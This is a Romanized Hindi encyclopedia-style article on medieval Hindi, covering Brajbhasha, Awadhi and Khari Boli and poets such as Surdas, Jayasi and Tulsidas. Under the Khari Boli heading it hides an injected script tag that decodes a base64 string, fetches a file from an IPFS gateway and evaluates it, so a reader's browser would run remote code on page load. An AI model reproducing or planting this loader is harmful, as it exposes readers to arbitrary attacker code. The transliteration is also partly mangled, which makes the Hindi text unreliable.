मध्यकालीन हिंदी
hiandi bharatiy ganaraj ki rajakiy aur madhy bharatiy- ary bhasha hai. san 2001 ki janaganana ke anusar, lagabhag 25.79 karo d bharatiy hiandi ka upayog matribhasha ke roop mean karate haian, jabaki lagabhag 42.20 karo d log isaki 50 se adhik boliyoan mean se ek istemal karate haian. san 1998 ke poorv, matribhashiyoan ki sankhya ki drishti se vishv mean sarvadhik boli jane vali bhashaoan ke jo aank de milate the, unamean hindi ko tisara sthan diya jata tha.
madhyakal mean hiandi ka svaroop spasht ho gaya tatha usaki pramukh boliyaan vikasit ho geean. is kal mean bhasha ke tin roop nikharakar samane ae— brajabhasha, avadhi v kh di boli. brajabhasha aur avadhi ka atyadhik sahityik vikas hua tatha tatkalin brajabhasha sahity ko kuchh deshi rajyoan ka sanrakshan bhi prapt hua. inake atirikt madhyakal mean kh di boli ke mishrit roop ka sahity mean prayog hota raha. isi kh di boli ka 14vian sadi mean dakshin mean pravesh hua, atah vahaan par isaka sahity mean adhik prayog hua. 18vian sadi mean kh di boli ko musalaman shasakoan ka sanrakshan mila tatha isake vikas ko nee disha mili.
[[chitr:Hindi-Area.jpg|thumb|250px|bharat mean hiandi bhashi kshetr]]
brajabhasha
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hiandi ke madhyakal mean madhy desh ki mahanh bhasha parampara ke uttaradayitv ka poora nirvah brajabhasha ne kiya. yah apane samay ki parinishthit v uchch koti ki sahityik bhasha thi, jisako gauravanvit karane ka sarvadhik shrey hiandi ke krishnabhakt kaviyoan ko hai. poorv madhyakal (arthath bhaktikal) mean krishnabhakt kaviyoan ne apane sahity mean brajabhasha ka charam vikas kiya. pushti marg/shuddhadvait sampraday ke sooradas (soorasagar), nandadas, nimbark sanpraday ke shri bhatt, chaitany sampraday ke gadadhar bhatt, radhavallabh sampraday ke hit harivansh (shrikrishna ki baansuri ke avatar) evan sampraday–nirapeksh kaviyoan mean rasakhan, mirabaee adi pramukh krishnabhakt kaviyoan ne brajabhasha ke sahityik vikas mean amooly yogadan diya. inamean sarvapramukh sthan sooradas ka hai, jinhean 'ashtachhap ka jahaz' kaha jata hai. uttar madhyakal (arthath ritikal) mean anek acharyoan evan kaviyoan ne brajabhasha mean lakshanik evan riti granth likhakar brajabhasha ke sahity ko samriddh kiya. ritibaddh kaviyoan mean keshavadas, matiram, bihari, dev, padmakar, bhikhari das, senapati, adi tatha ritimukt kaviyoan mean ghananand, alam, bodha adi pramukh haian. (brajabuli—bangal mean krishnabhakt kaviyoan ke dvara pracharit bhasha ka nam.)
avadhi
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avadhi ko sahityik bhasha ke roop mean pratishthit karane ka shrey soofi/premamargi kaviyoan ko hai. kutaban ('mrigavati'), jayasi ('padmavat'), manjhan ('madhumalati'), alam ('madhavanal kamakandala'), usaman ('chitravali'), noor muhammad ('indravati'), kasimashah ('hans javahir'), shekh nisar ('yoosuf julekha'), alishah ('prem chiangari') adi soofi kaviyoan ne avadhi ko sahityik garima pradan ki. inamean sarvapramukh jayasi the. avadhi ko ramabhakt kaviyoan ne apani abhivyakti ka madhyam banaya, visheshakar tulasidas ne 'ramacharitamanas' ki rachana baisava di avadhi mean kar avadhi bhasha ko jis sahityik ooanchaee par pahuanchaya, vah atulaniy hai. madhyakal mean sahityik avadhi ka charamotkarsh do kaviyoan mean milata hai, jayasi aur tulasidas. jayasi ke yahaan jahaan avadhi ka theth gramin roop milata hai, vahaan tulasi ke yahaan avadhi ka tatsamamukhi roop hai. (gohari/goyari— bangal mean soofiyoan dvara pracharit avadhi bhasha ka nam.)
kh di boli
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
madhyakal mean kh di boli ka mukhy kendr uttar se badalakar dakkan mean ho gaya. is prakar, madhyakal mean kh di boli ke do roop ho ge— uttari hiandi v dakkani hiandi. kh di boli madhyakal roop kabir, nanak, dadoo, malookadas, rajjab adi santoan; gang ki 'chand chhand varnan ki mahima', rahim ke 'madanashtak', alam ke 'sudama charit', jatamal ki 'gora badal ki katha', vali, sauda, insha, nazir adi dakkani evan urdoo ke kaviyoan, 'kutubashatam' (17vian sadi), 'bhogaloo puran' (18vian sadi), sant prananath ke 'kulajamasvaroop' adi mean milata hai.
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tika tippani aur sandarbh
bahari k diyaan
- bharopiy parivar ki bharatiy bhashaean
- hindi bhasha ke sambandh mean kuchh vichar
- hindi bhasha-kshetr evan hindi ke kshetragat roop
- hindi-urdoo ka advait
- hindi ki antararashtriy bhoomika
sanbandhit lekh
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varnamala kramanusar lekh khoj
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